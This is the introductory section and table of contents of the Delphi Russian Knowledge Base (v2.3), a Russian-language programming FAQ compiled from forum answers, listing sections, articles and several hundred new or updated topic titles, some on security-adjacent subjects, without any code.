Общие вопросы
Top Next

Delphi Russian Knowledge Base
from Vit
Version 2.3

Этот документ составлен по материалам форумов программистов

http://forum.vingrad.ru
и
http://forum.sources.ru

Внимание! У DRKB появилась собственная web страница.

www.drkb.ru

Там вы всегда сможете найти самые свежие обновления и информацию по DRKB

Задать любые вопросы или участвовать в обсуждении любых вопросов, связанных с программированием в среде Дельфи или по поводу содержимого настоящего FAQ можно на форумах:

Vingrad.ru: http://forum.vingrad.ru/index.php?showforum=2
Sourсes.ru: http://forum.sources.ru/index.php?showforum=11

Найти информацию об авторах ответов можно по адресу:
Vingrad.ru: http://forum.vingrad.ru/index.php?act=Members
Sourсes.ru: http://forum.sources.ru/index.php?act=Members

Этот документ составлен Vit (www.delphist.com) и является дальнейшим развитием Delphist's FAQ

Список разделов проекта:

Общие вопросы
о настоящем проекте (этот топик)

Delphi IDE, компиллятор, отладчик, редактор
Разбираются проблемы связанные с установкой Дельфи, работой в среде Дельфи, использовании компиллятора, отладчика, редактора, информация об ошибках компилляции и директивах компилляции. Рассмотрены вопросы по обработке ошибок, а так же работа с экспертами и редакторами свойств (ToolsAPI).

Язык программирования Дельфи
Рассматриваются проблемы связанные с языком программирования, конструкциями языка, работа с базовыми типами данных (числа, строки, дата и время, массивы, указатели), "объектным ориентированием", использованием RTTI, threads, коллекций и RTL, а так же взаимодействием Дельфи с другими языками програмирования.

VCL
Раздел посвящён компонентам VCL Дельфи. Часть компонентов VCL разбирается в других разделах: базы данных (Работа с визуальными компонентами, Работа с TTable, TQuery и TDatabase), репортинг, сети.

Системные функции и WinAPI
Раздел посвящён низкоуровневому программированию на уровне устройств, использованию Windows API и ресурсов операционной системы. Работу с некоторыми ресурсами можно найти и в других главах: Печать, работа с принтером

Базы данных
Здесь рассматриваются вопросы работы с базами данных, уделено внимание работе с BLOB полями, BDE, ADO, ODBC, DBExpress, проблемам с отдельными базами данных, визуальными компонентами для отображения данных, наиболее общие вопросы по SQL и работа с XML.

Работа с файловой системой
Разбираются вопросы по использованию файловой системы в том числе статья по работе с файлами для новичков и вопросы связанные с использованием NTFS.

Репортинг, работа с принтером
В разделе собраны вопросы по работе с принтером (дополнительные сведения о работе с портами можно найти здесь), а так же репортинговым системам: Quick Report, Fast Report, Crystal Report, Report Smith.

Работа с сетью, интернетом, протоколами
Рассматриваются проблемы работы с Windows Network, сетевые протоколы, отсылка и приём электронной почты, создание Web приложений, работа с IE и Web Borwser'ом, использование HTML и скриптов, программирование сокетов, и работа с интернетом.

Работа с графикой и мультимедиа
В разделе уделено внимание проблемам работы с звуком, графикой, текстом, цветами и палитрами, холстом, растровыми и векторными изображениями, видео и анимацией, рисованием, графическим эффектам и фильтрам, черчению, а так же DirectX и OpenGL системам. Алгоритмы обработки изображений можно найти в разделе алгоритмов.

Математика, алгоритмы
По мимо прочего уделено внимание работе с матрицами и векторами, вопросам шифрования и хэширования данных, арифметики систем счисления и комплексным числам, а так же алгоритмам работы с графикой.

Форматы файлов, данных. Конвертация форматов
Рассмотрены вопросы конвертирования и описания некоторых форматов данных и файлов.

ActiveX, COM, DCOM, MIDAS, CORBA, интерфейсы, OLE, DDE
В разделе собраны сведения о взаимодействии приложений и использовании технологий COM/DCOM/MIDAS, CORBA, компонентов AciveX, использовании приложений MS Office и некоторых других програм, а так же DDE.

Разработка приложений
Разбираются общие принципы защиты и взлома, оптимизации и отладки програм, инсталляции и распространения приложений, создания справочной системы, локализации програмных продуктов и обеспечение поддержки plug-in.

Kylix
Раздел посвящён программированию в среде Kylix и Linux и содержит несколько обзоров, принципы работы с базами данных, написание интернет приложений, использование QT и Linux API, а так же вопросы связанные с установкой и запуском приложений написанных на Kylix.

.Net
Несколько обзоров по Delphi 8 под платформу .net (На момент написания данного документа релиз Delphi 8 ещё не вышел, поэтому здесь я ограничился всего несколькими обзорами)

Развлечения
Несколько примеров развлекательных програм


Об авторских правах
Previous Top Next

Все исходники с настоящего документа являются открытыми для использования с любой целью, т.е. Вы можете их копировать и использовать в своих приложениях вне зависимости от того будет это приложение коммерческим или нет. Однако публикация данных ответов, кодов и особенно статей в интернете, на других форумах, FAQ, usenet и т.п. обязана осуществляться с ссылкой на первоисточник (в тех случаях, когда автором ответа являюсь я (Vit) вы можете использовать ответ вообще без всяких ограничений!).

Я старался везде, где это только было возможно указывать источник информации. Но форум есть форум, и конечно же никто не может гарантировать, что какие-то коды не были присланы участниками форума без согласования с авторами и ссылок на первоисточник. Кроме того, коды и ответы в сети зачастую стали уже безымянными, они цитируются с незначительными исправлениями во многих FAQ, статьях, сайтах и форумах (так я уже встречал свои коды в чужих FAQ). Поэтому, я допускаю что выпуском этого FAQ я мог (естественно не специально и без злого умысла) нарушить чьи-то авторские права. Если такое произошло, сообщите мне по адресу: vit@vingrad.ru и я постараюсь изъять такие материалы так быстро, как это возможно или (по согласованию с автором) предоставить полную информацию об авторских правах на тот или иной код.


Благодарности

Хочу выразить свою благодарность администрации форумов Vingrad.ru и Sources.ru любезно разрешивших составить этот документ.

Выражаю так же искреннюю признательность всем тем, кто взял на себя труд тестирования настоящего документа и высказавших свои конструктивные, крайне полезные и информативные замечания, позволившие сделать это документ значительно лучше. Особую признательность хочу выразить для участников обсуждения под никами: Alex, Петрович, Rouse_, p0s0l, Bas, Pegas, StayAtHome - огромное Вам спасибо!


Список ресурсов - источников материалов DRKB

Кроме вышеперечисленных, в были использованы так же материалы следующих сайтов:

http://blackman.wp-club.net/
http://delphi4all.narod.ru
http://www.lmc-mediaagentur.de/dpool/
http://forum.pascal.dax.ru/
http://www.swissdelphicenter.ch/en/tipsindex.php
http://delphi.h5.ru
www.delphiworld.narod.ru
А также рассылки "Мастера DELPHI. Новости мира компонент,..." http://subscribe.ru
И программы "Delphi Knowledge Base" http://www.baltsoft.com/


Ссылки на сайты по Дельфи

http://www.forum.vingrad.ru/ программистский портал с большим разделом Дельфи

http://www.sources.ru программистский портал с большим разделом Дельфи

http://www.borland.com.ru/delphi/index.htm Borland Russia
На сервере новости для разработчиков ПО на Delphi. Полное описание свойств Delphi 4. Полезные ссылки на ресурсы Delphi в Интернет. "Лидер на рынке RAD-инструментов" и "Delphi снова побеждает! " - это лозунги с этого сайта.

http://www.torry.net Torry's Delphi Pages
Сайт для программистов на Delphi. На сайте документация, компоненты, приложения, разработанные на Delphi, примеры программных кодов, файлы для загрузки, новости и ссылки на ресурсы Delphi в Интернет. Самая большая коллекция компоентов

http://delphi.vitpc.com/ - 'Королевство Дельфи' - Виртуальный клуб программистов. Сайт для программистов пишущих на Delphi, организация взаимопомощи и общение программистов на тему задач на Delphi

http://www.delphimaster.ru/ - Мастера Дельфи. Большое количество статей и материалов.


Новичкам сюда!

Все форумы буквально переполнены одними и теми же вопросами начинающих программистов. Настоящий FAQ содержит ответы на большинство этих вопросов, но учитывая весьма значительный размер FAQ, я решил выделить в этом топике линки на те статьи и вопросы, которые наиболее часто затрагиваются именно начинающими программистами.

1. Почему такие большие программы сделанные в Дельфи?
2. Горячие клавиши Дельфи
3. Почему возникает ошибка Access Violation?
4. Рождение, жизнь и гибель формы.
5. Как свернуть прогамму в tray?
6. Базы данных с нуля
7. Почему я должен устанавливать BDE?
8. Всё о файлах
9. Проход дерева каталогов
10. Работа с принтером.
11. Как отправить Email?
12. Общие сведения о COM
13. Работа с Excel из Дельфи
14. Как написать собственный класс?
15. Что такое реестр?
16. Есть ли соединение с интернетом?
17. Что такое Цвет?
18. Создание заставки при старте программы
19. Работа над ошибками New!
20. Эта незнакомая IDE! (статья) New!


Справочные материалы

Горячие клавиши Дельфи
Какие есть директивы компилятора?
Предопределённые константы условной компиляции
Список префиксов Internal Error
Скрытые настройки Дельфи
Delphi Run-Time Error Codes
Соответствие типов С++ и Delphi
Директивы вызова процедур
Выполняем встроенные команды Windows
Каковы текущие ограничения BDE?
Список зарезервированных слов Local SQL BDE
Список ошибок BDE
Обзор BDE API
Ограничения Fox pro
Ограничения Paradox
Bitmap.PixelFormat - подробности
Автозагрузка программ (как и откуда?)
Встроенные форматы буфера обмена


Статьи

В данной базе знаний я постарался собрать не только вопросы и ответы, но так же какое-то количество статей, которые показались мне весьма интересными для разработчиков на Дельфи:

Среда Дельфи
Использование открытых интерфейсов
Эта незнакомая IDE! (статья) New!

Язык программирования Дельфи
Теория и практика использования RTTI
Использование Microsoft ScriptControl (статья) New!
   Использование ассемблера в Дельфи (статья) New!
Объектно-ориентированное программирование (статья) New!

VCL
Работа с TApplication
Разработка MDI приложений в Delphi
Рождение, жизнь и гибель формы.
TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog
Примеры использования Drag and Drop для различных визуальных компонентов
Создание окон произвольной формы (Статья) New!
Работа с регионами (статья) New!

Железо
Что такое порт?, правила для работы с портами
Симфония на клавиатуре

Система
Загрузка DLL
Программирование на основе Win32 API в Delphi
Взаимодействие с чужими окнами
Как писать консольные приложения в Delphi?
Hooks - аспекты реализации.
Написание сервисов Windows NT на WinAPI
Что такое реестр?
Delphi и Windows API (Статья) New!
   Interprocess communication на примере keyboard hook (статья) New!
AWE или как выйти за пределы 32 битной адресации New!
Синхронизация процессов при работе с Windows (статья) New!
   Разработка DLL в среде Borland Delphi (статья) New!
Основы работы с Windows API New!

Базы данных
Базы данных с нуля
Протокол блокировки BDE
Обзор BDE API
Архитектура BDE
Использование BDE приложений в Peer-To-Peer сети
Курсоры в ADO
Поиск в базе данных
SQL-запросы в Delphi
Особенности работы с БД на MS SQL Server 2000 из Delphi 5 (статья) New!
БД - хранилище объектов (статья) New!
   Компоненты ADO (статья) New!
   Перенос приложений с BDE на dbExpress (статья) New!
   Архитектура BDE и его особенности при работе с SQL-серверами(статья) New!
   Технология dbExpress (статья) New!
Использование ADO (статья) New!
Многомерное представление данных (статья) New!
Основы языка SQL (статья) New!
DBASE - Индексы выражений New!
Переходим на клиент-сервер (советы), на примере MS SQL Server New!
Запросы и параметры, или как избавится от многих проблем…. New!
   Критерии выбора базы данных (статья)

Файлы
Всё о файлах
Файловые операции средствами ShellAPI

Печать и репортинг
Работа с принтером.
Rave Report - Руководство разработчика New!
Rave Report - Руководство пользователя New!
Создание отчетов с помощью QuickReport 3 (статья) New!

Интернет, сети, протоколы
Что такое протокол межсетевого взаимодействия IP?
Использование HTTP в Delphi
Описание протокола ARP (Address Resolution Protocol)
Описание протокола SSH (Secure Shell)
Как отправить Email?
Программирование CGI в Delphi и Kylix
Создание Web-приложений
Создание Active Server Page (ASP) приложений
Что такое сокет?
Программирование серверов на основе сокетов в Дельфи
Обзор компонентов Internet Express
Использование TwebBrowser (статья) New!
   ICQ2000 - сделай сам (статья) New!

Графика, звук и видео
Что такое DirectShow?
Работа с OpenGL - Введение

Математика и алгоритмы
Матрицы в Delphi
Основы 3D математики - Векторные и матричные преобразования
Алгоритмы сортировки
Естественные ключи против искуственных ключей New!
CryptoAPI (статья) New!

ActiveX, COM, DCOM, MIDAS, CORBA, интерфейсы, OLE, DDE
Общие сведения о COM
COM. Агрегация и нотификация вообще и для Delphi в частности
Создание COM-объектов средствами Delphi
Что такое MIDAS (multi-tired distributed application service)?
Midas и COM. Советы и Приемы
Сравнительный анализ технологий CORBA и COM
Работа с MS Word из Delphi
Как можно работать с DDE?
Создание модулей расширения Microsoft Office New!
Delphi и COM (статья) New!
   Доступ к COM серверам Microsoft Office из Delphi 5 (Статья) New!
   Технология DataSnap (статья) New!
Сервер приложения (статья) New!
DDE (статья) New!
Ревизия интерфейсов (статья) New!

Разработка приложений
Библиотека KOL
Ловим баги или почему программы допускают недопустимые операции
Принцип создания плугинов в Delphi

Kylix
Kylix Tutorial. Работа с DBExpress
Обзор Kylix
Kylix: Первые впечатления
Программирование Интернет приложений в Borland Kylix. Часть I
Программирование Интернет приложений в Borland Kylix. Часть II
Взаимодействие с системой: Linux API и Qt library
Обработка событий Qt в Kylix-приложении
Перехватчики событий, сигналы и слоты

.NET
Borland Delphi 7 - миграция в сторону .Net
.Net глазами дельфийца. Использование Delphi в .Net


Сссылки на новые и дополненные темы версии 2.3

Не читаются русские буквы в Database Desktop Updated!
Как отследить изменения дисплея? Updated!
Как извлечь иконку из EXE или DLL? Updated!
Дельфи компонент для подкраски синтаксиса Updated!
Вскрытие запароленной таблицы Paradox Updated!
Восстановление записи dBase Updated!
Как получить параметры Alias? Updated!
TStringGrid --> HTML New!
Как получить количество активных ссылок на строку? New!
BCD --> String New!
CRT для консольного приложения New!
How to get all the resource names that are loaded in a given application? New!
Сохранение и загрузка двумерного динамического масива New!
Список handle всех окон моего приложения New!
Method pointers --> function pointers New!
Ограничить подвижность формы New!
Манипулирование кнопками OpenDialog New!
Как извлечь иконку из файла ярлыка? New!
Как определить использует ли пользователь стили? New!
Облегчённый вариант класса TRegistry New!
Чтение email адресов из Outlook .dbx файлов New!
Сохранить TImagelist в файл со всем содержимым New!
Как узнать форма активна или нет? New!
HTML --> RTF New!
String --> HKEY New!
HKey --> String? New!
Как сделать procedure/function с переменным количеством параметров? New!
Rotate a 2D Point New!
Если нажато более 2х клавиш одновременно... New!
String --> BCD New!
Как найти строку в строке начиная с определённой позиции? New!
Печать в порт принтера New!
Как найти все установленные компоненты? New!
Как прочитать адрес отправителя? New!
Как экспортировать данные из StringGrid в Excel? New!
Как прочитать выделенный текст из IE? New!
Зоздать новый Outlook Contact? New!
Как сохранить Outlook календарь как website? New!
Как вставить RTF в Word? New!
Как использовать Microsoft Speech API? New!
Как получить длину wav в секундах? New!
Как снять пароль с Excel файла? New!
Как перейти к нужному ключу в Regedit? New!
Flash SWF --> EXE New!
Hook функций в собственном приложении New!
Как выключить master volume в звуковой карте? New!
Как получить список всех зарегистрированных typelibs? New!
Поиск в TreeView по тексту New!
Как узнать размер картинки для JPG, GIF и PNG файлов? Updated!
После логина возникает EExternalError 0xC0000008 New!
Как восстановить повреждённую таблицу? New!
Как работать с выделенными запясями в TDBGrid? New!
Explode / Implode a String? New!
Быстрые операции с очень большими строками New!
Использование PHP-like операций с массивами New!
WideString -->String New!
String --> WideString New!
Регулярные выражения New!
Количество вхождений подстроки в строку New!
Как использовать format parameter больше одного раза? New!
Создание DBExpress соединения в Runtime New!
Как послать данные другому приложению используя auto-drag-n-drop? New!
Создание базы данных в run-time с ZEOS? New!
Шифрование файлов при помощи NTFS функций New!
File List View in File Dialogs New!
Как удалить сегодняшнюю дату из TDateTimePicker? New!
Проверяем находится ли файл на локальном диске New!
Как сменить картинки на TDBNavigator? New!
Split/merge files? New!
Способы уменьшения размера Exe файлов полученных с помощью Дельфи? New!
Как восстановить индексы? New!
Создание автоинкрементного поля SQL запросом? New!
Index not found Exception New!
Загрузить все записи в Stringlist одним махом? New!
Как забыть о необходимости разрушать объекты? New!
Как передвинуть колонку в TDBGrid? New!
Как предотвратить Data Corruption (повреждение данных)? New!
Реализовать фоновую работу программы New!
Как сделать ADOConnection с использованием OLE-Automation? New!
Как ускорить поиск? New!
Мигание при добавлении строк New!
Конвертируем TDateTime to Unix Timestamp New!
Цвета в TDBGrid New!
Сохранить изображение в формате JPEG New!
Выделить все поля в TDBGrid? New!
Краткий словарь терминологии CORBA New!
Удалить dbase index flag New!
Многомерное представление данных (статья) New!
Как показать удалённые записи New!
Сохранить F1Book в Blob поле New!
Мемо в DBGrid New!
Как узнать версию таблицы New!
Как добавить пароль к таблице New!
Технология dbExpress (статья) New!
Библиотека реализующая практически все распространённые алгоритмы шифрования и хэширования New!
Работа над ошибками New!
Методы компрессии/декомпрессии New!
Самый продвинутый DBGrid New!
Rave Report - Руководство разработчика New!
Соглашения о вызовах New!
Ревизия интерфейсов (статья) New!
Основы языка SQL (статья) New!
Использование модуля ShareMem New!
Создание окон произвольной формы (Статья) New!
Страницы Excel — компонент F1Book New!
Элементы управления Windows XP New!
Использование ADO (статья) New!
DDE (статья) New!
Технология DataSnap (статья) New!
Клиент многозвенного распределенного приложения (статья) New!
Сервер приложения (статья) New!
Пользовательский интерфейс Windows XP New!
Манифест Windows XP New!
Компонент TXPManifest New!
Включение манифеста Windows XP в ресурсы приложения New!
Визуальные стили и темы оформления New!
Визуальные стили в Delphi New!
Theme API New!
Компоненты настройки цветовой палитры New!
TComponent New!
TPersistent New!
TObject New!
TControl New!
TWinControl New!
TCustomControl New!
TGraphicControl New!
Rave Report - Руководство пользователя New!
Что такое множества? New!
Функции для работы с памятьюNew!
Функции и процедуры для работы с drag-and-drop операциями New!
Функции преобразования UNICODE и ANSI строк New!
Отображение файлов в память New!
Как использовать параметры коммандной строки? Updated!
Функции и процедуры управления мышью New!
Поддержка процедур завершения программы New!
Функции и процедуры для работы с данными перечислимого типа New!
Перемещать объект на сложном фоне New!
Функции и процедуры для финансовых вычислений New!
Арифметика New!
Тригонометрические функции и процедуры New!
Операции над числовыми массивами New!
Имитировать события мыши New!
Примеры работы с динамическими массивами Updated!
Объектно-ориентированное программирование (статья) New!
Доступ к COM серверам Microsoft Office из Delphi 5 (Статья) New!
Приостановить компьютер (sleep) New!
Размыть изображение New!
Узнать о завершении работы Windows New!
Открыть файл JPEG New!
Сыграть звуковой файл без компонентов New!
Как ограничить перемещение курсора? New!
Создание модулей расширения Microsoft Office New!
Естественные ключи против искуственных ключей New!
Delphi и COM (статья) New!
Архитектура BDE и его особенности при работе с SQL-серверами(статья) New!
Delphi и Windows API (Статья) New!
Как добавить файл в меню Пуск/Документы New!
Распознавание кодировки New!
Пример загрузки файлов в ListView с иконками Updated!
Как очистить canvas Updated!
Как выдавить текст New!
Как вывести полупрозрачный текст New!
Как различать звуковые CD New!
Interprocess communication на примере keyboard hook (статья) New!
Особенности работы с БД на MS SQL Server 2000 из Delphi 5 (статья) New!
Поиск по мемо полям New!
Как вернуть результат в виде XML? New!
Как сравнить быстродействие алгоритмов New!
Как выводить hint при движении мыши над списком New!
Как вывести диалог Обзор папок New!
Как вычислить математическое выражение Updated!
Как засечь время New!
Как узнать об изменении системного времени New!
БД - хранилище объектов (статья) New!
Как делать переносы в Hint New!
Перенос приложений с BDE на dbExpress (статья) New!
Использование Microsoft ScriptControl (статья) New!
AWE или как выйти за пределы 32 битной адресации New!
Синхронизация процессов при работе с Windows (статья) New!
Использование TwebBrowser (статья) New!
Компоненты ADO (статья) New!
CryptoAPI (статья) New!
Использование ассемблера в Дельфи (статья) New!
Как сравнить bookmarks в таблице? New!
Генераторы и их использование New!
TList New!
TStrings и TStringList New!
TStream New!
Справочник по функциям работы со строками New!
Справочник по функциям работы с PChar New!
Справочник по функциям работы с файлами New!
Список режимов открытия файлов New!
Функции форматирования строк New!
Функции преобразования чисел с плавающей точкой New!
Внутренний интерфейс Drag and Drop New!
Ярлычки и оперативная подсказка New!
Динамический обмен данными (DDE) New!
Использование интерфейса OLE New!
Как выводить элементы списка разными шрифтами New!
Перехват сообщений IE New!
Save all TWebbrowser Frame Sources? New!
Create a TWebBrowser at Runtime? New!
Как сохранить все картинки TWebbrowser? New!
Find the convex hull of 2D points? New!
Получить список процессов в компьютере сети New!
Как загрузить webpage с скрытым IP? New!
How to add alternative text to a Webbrowser image? New!
Узнать информацию о проксисервере New!
Rotate a 2D Point New!
Rotate a 3D Point around another 3D Point New!
Найти центр треугольника New!
Как найти и выделить текст TWebBrowser? New!
Как узнать имя домена Windows NT/2000? Updated!
Числа Фибоначчи New!
Send e-mails via WinSock API? New!
do an application loader with TCP? New!
Добавить HTML к TWebbrowser Document? New!
Програмно меняем Delphi's Tool list? New!
Spray effect New!
Как создать консольное asp.net приложение с событиями delphi? New!
Sharpen a Bitmap New!
Show a text progressiv as typed with a typewriter (horizontal/vertical) New!
Draw a polygon with Gouraud shading? New!
How to render a TRichEdit text onto a canvas? New!
Detect simple collision and transparency New!
Конвертация bitmap to sepia or greyscale New!
Работа с Jpeg New!
Двигаем крестик для показа значений X/Y New!
Изменение размеров JPEG Image? New!
Как сделать форму всегда позади всех окон? New!
How to scale bitmap by percent? New!
Как прочитать ROM-BIOS? New!
Как определить установлен ли screen saver? New!
Write/read a string to/from the serial port New!
Узнать/установить JPG resolution? New!
Как получить часть GUID? New!
Как узнать заряженность батарей? New!
Как заблокировать компьютер? Updated!
Как сделать Thumbnails? New!
Поддерживается ли MMX New!
Как вывести список привелегий? New!
Показать Choose Domain диалог? New!
Изменение привелегий New!
Проверить приложение на зависание? New!
Как получить информацию о системе? New!
Кто владелец taskbar buttons (NT)? New!
Как предотвратить Shut Down? New!
Как проверить запущен ли сервис? New!
Как проверить папку на shared? New!
Как получить список загруженных драйверов? New!
Как получить primary domain controller (PDC)? New!
Показать Run диалог New!
Управление NT-сервисами New!
Как использовать IP Address Control у себя? New!
Как установить переменные окружения? Updated!
Как изменить пароль для указанной сети или домена? New!
Как перевести компьютер в Stend-by или Hibernate? New!
Как читать REG_MULTI_SZ значение New!
Как сделать Multi Screen Emulator? New!
Как узнать количество памяти используемое процессом? New!
Как получить количество файлов в корзине и их размер? New!
Как скрыть/показать ActiveDesktop? New!
Как выгрузить Dll из памяти? New!
Как сделать Drag-n-Drop из чужого приложения? New!
Поддерживает ли система suspend? New!
Поддерживает ли система hibernation? New!
Запуск процесса в контексте другого пользователя New!
Как получить список всех расширений и их ассоциаций? New!
Как сделать System Restore point (XP)? New!
Как получить сообщение об изменении видео стиля? New!
Написание Terminal Services Client New!
Узнать не запущено ли приложение под Virtual PC? New!
Узнать не запущено ли приложение под VMware? New!
Как получить имя текщего стиля и имя цветовой схемы? New!
How to patch a process? New!
Частота мигания каретки New!
Как копировать/менять Clipboard text без использования VCL? New!
Disable CTRL+ALT+DELETE under XP New!
Путь к папке My Computer New!
Как получить список всех назначенных событий? New!
Как обновить все окна Internet Explorer? New!
How immediately start a service after its installation? New!
How to check if the Workstation is locked? New!
How to get the NT Domain and UserName of a Process? New!
Как получить и изменить координаты иконок на столе? New!
How to check, if a CD-Recorder is available? (WinXP) New!
Как определить насколько долго система находится в Idle? New!
Как прочитать и изменить doubleclick time? New!
Проверить не запущена ли terminal client session? New!
Как запустить процесс на конкретном процессоре в много процессорной системе? New!
Как получить событие о смене реестра? New!
Как вызвать Shutdown Windows dialog? New!
Сколько памяти использует IB на сервере? New!
Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго? New!
Как выделить URL в TRichEdit? New!
How to implement a microsecond resolution Delay? New!
Как узнать статус меню? New!
Использование русских кодировок приводит к ошибке New!
Что такое фреймы? New!
В каких версиях IB поддерживаются уведомления о событиях (Event Alerts)? New!
Detect if a USB device is connected or disconnected? New!
Как посмотреть требуемые библиотеки для бинарника? New!
Проблемы с открытием базы данных. New!
Что такое ISC4.GDB? Для чего нужна эта БД? New!
Пропажа прав пользователей в Local IB после переноса New!
Как переносить базы данных между разными IB? New!
Включение WAL на NetWare ухудшает производительность на 80% при вставках записей, и только на 15% - при обновлениях. New!
Как оптимизировать запросы? New!
Каков максимальный размер базы данных IB? New!
Диалог подключения сетевого диска New!
Сколько БД я могу открыть в одной транзакции? New!
256-цветное изображение из res-файла New!
DLL и ресурсы New!
Использование DLL в качестве Plug-in New!
Разработка DLL в среде Borland Delphi (статья) New!
Duplicate Resources Error New!
Создание/пересоздание индекса New!
DLL со строковыми ресурсами New!
Практически все о взломе CD New!
Показ меток удаленных записей в dBASE-файлах New!
Как получить дату BIOS? Updated!
DBASE - Индексы выражений New!
Как узнать загрузку процессора? (NT/2000/XP) Updated!
DBFSeek и DBFLocate New!
Как получить информацию о процессоре? Updated!
Активизация и использование в IDE окна CPU New!
Создание RES-файла с помощью BRCC.EXE New!
Определение номера записи в таблице dBASE New!
Хранение данных в EXE-файле New!
Как правильно соединяться с базой данных под Personal Oracle New!
Как получить список таблиц в базе Access? Updated!
Как поймать свой RAISEERROR в Delphi New!
Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию New!
Задание псевдонима программным путем New!
Создание таблицы FOXPRO New!
Как в Oracle создать sequence с некоторого номера New!
Как показать содержимое Memo-поля в DBGrid? Updated!
Позиция ячейки в TDBGrid New!
Как изменить цвет отмеченных записей в DBGrid New!
CheckBox в DBGrid New!
Как сделать, чтобы необходимая ячейка DBGrid получила фокус ввода New!
Выключение кнопок в DBNavigator New!
DbGrid со свойствами Col и Row New!
Буфер обмена и ячейки DBGrid New!
Нажать кнопку DBNavigator програмно New!
Настройки всплывающих подсказок в DBNavigator New!
DBNavigator без иконок New!
Свойства кнопок DBNavigator New!
Как сделать, чтобы в DBGrid вместо цифр были соответствующие константы New!
Текущая строка и поле в DBGrid New!
DbGrid со свойствами Col и Row New!
Как выделить цветом текущую строку в TDBGrid New!
DBGrid - сохранение конфигурации New!
DbGrid и множественный выбор New!
Решение проблемы передачи фокуса TDBGrid New!
Как программно перевести DBGrid в режим редактирования New!
Перемещение по таблице с помощью вертикальной полосы прокрутки New!
DBGrid CutToClipboard New!
Кам при прокрутке зафиксировать левое поле сетки? New!
Как в TDBGrid узнать над каким полем висит мышь? New!
Как поместить графическое изображение в TDBGrid New!
Как в TDBGrid pазpешить только опеpации UPDATE записей New!
Как заменить данные в столбце компонента TDBGrid New!
Как заблокировать TDBGrid от автодобавления новой записи New!
DBGrid DefaultDrawDataCell New!
DBTreeView своими руками New!
DBGrid с номером строки New!
Экспортировать DBGrid в HTML New!
Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid? New!
Как определить изменение фокуса строки в TDBGrid New!
Пример Drag and Drop между двумя DBGrid New!
Перемещение из DbGrid New!
Решение проблемы передачи фокуса TDBGrid New!
Копирование информации из DBGrid-а в Clipboard New!
Рисование текста в DBGrid New!
Использование Enter как Tab в TDBGrid New!
Как изменить число фиксированных колонок в TDbGrid? Updated!
Как вывести Hint для ячейки DBGrid New!
Симуляция нажатия кнопки при наличии DBGrid New!
Интерактивные SQL-запросы New!
Задать необходимый для печати принтер New!
Как открыть диалог добавления принтера New!
Определение параметров принтера через API New!
Подробное описание способа печати содержимого формы New!
Как изменить порт для принтера? Updated!
Как прочитать/установить принтер по умолчанию? Updated!
Получить список шрифтов и их размеров для текущего принтера New!
Как узнать драйвер принтера New!
Как получить информацию о заданиях на принтере New!
Как установить драйвер принтера New!
Получить список пользователей, подключённых к сети New!
Описание протокола DNS New!
Получение имени пользователя и домена New!
Описание протокола ICMP (Internet Control Message Protocol) New!
Протокол IMAP4 (Internet Message Access Protocol) New!
Пример HTTP Get - загружаем файлы и страницы из Интернета New!
ICQ2000 - сделай сам (статья) New!
Технологии взлома Email New!
Моё CGI-приложение при обращении к нему ничего не возвращает New!
Корпоративное Web приложение New!
Получить или установить задний фон в TWebBrowser New!
Как получить текст HTML Документа из TWebBrowser без тегов New!
Скопировать, удалить, вставить в TWebBrowser New!
Как сделать WebBrowser средствами Delphi? New!
GIF для HTML в EXE New!
Как получить цвет строки в HTML формате New!
Компонента HTML - редактора New!
Исследование E-Book Html Compiler 2.12 New!
Отправка файлов при помощи TClientSocket/TServerSocket Updated!
CrtSock - модуль для работы с сокетами в Delphi32 New!
Пример компонента типа XPButton New!
Как спрятать окно при запуске приложения? Updated!
Dec ---> Hex New!
Интерфейсы и published свойства New!
Интерфейс OLE AutoServer New!
Integer как SmallInt New!
Установка SoftIce New!
Вставка новой записи через буфер New!
Проблемы ini-файла New!
Показ даты, времени и состояния клавиш в строке состояния New!
Использование Internet-функций Win32 API (статья) New!
Подключиться к Интернету, определить активные соединения, определить и сохранить параметры соединения New!
Почему не всегда верно обновляются IndexDefs по Update New!
Инкрементация строкового поля New!
Поиск значения при вводе Updated!
Инкрементальный поиск в ListBox New!
Показ in-place подсказки в TListBox и других компонентах New!
Импортирование, или обертка вызовов функций DLL New!
Плавно превратить один рисунок в другой New!
Элементы меню на основе изображений New!
Как вставить растровое изображение в компонент ListBox? Updated!
Как копировать и вставлять Bitmap через буфер обмена? Updated!
Вращение изображения New!
Как сделать прямоугольник для выделения части картинки для редактирования New!
Перемещение Image New!
Фон MDI-окон Updated!
Хитрость вывода изображения New!
За какое время было создано изображение New!
Изменение палитры при выводе изображения New!
Условие создания главной формы New!
Удалить временные файлы IE New!
Работа с IDE из программы New!
Конфликт IDAPI German и English New!
Установка и использование IDA Pro New!
Часто задаваемые вопросы по дизассемблеру IDA Pro New!
Как узнать, находится ли дискета в дисководе? Updated!
Иконки в PopupMenu New!
Преобразование иконок в Gliph-ы New!
Огромные числа New!
HTMLEditor - Краткий обзор New!
Как обрабатывать сообщения New!
Число цветов (цветовая палитра) у данного компьютера Updated!
Как повесить винду New!
Пример компонента HotSpot New!
Как отловить нажатия клавиш для всех процессов в системе New!
Как показать подсказки Hints для элементов меню New!
Расширения оболочки Windows New!
Hint в выпадающем списке ComboBox New!
Подсветка синтаксиса New!
Как скрыть часики в панели задач? Updated!
Скрыть Tray, часы, кнопку ПУСК, панель задач New!
Как сделать форму без caption? Updated!
Как убрать публичное свойство компонента New!
Програмное выключение клавиатуры и мыши Updated!
Как спрятать окна MDI Child New!
Как запретить показ курсора в TEdit и ему подобных контролах New!
Как привязать файлы помощи в Delphi New!
Оглавление файлов помощи (Help Files Contents) New!
Управление метками томов дисков New!
Как выяснить имеет ли объект определённое свойство? Updated!
Как сделать прозрачное окно родными средствами Windows2000? Updated!
Наполовину активное окно New!
GUI. Перегрузка контролами (статья) New!
GROUPFILE и ADDITEM для групп New!
Как заставить GroupBox прорисовать на форме свой Caption неактивным цветом? New!
Сгруппировать свойства наподобие Font New!
Табуляция в графическом ListBox New!
Как перейти к указанной записи в БД New!
Уменьшение мерцания ListBox в обработчике OwnerDraw New!
Переместиться в конец файла New!
Как добавить функции картографирования в приложение New!
Как получить версию Windows? New!
Как найти системные папки Windows? Updated!
Получить список пользователей New!
Функция, возвращающая тип New!
Как получить список часовых поясов? New!
Извлечение текста из TMemoField New!
Получение информации о TaskBar New!
Как по Alias узнать физический путь к базе данных? Updated!
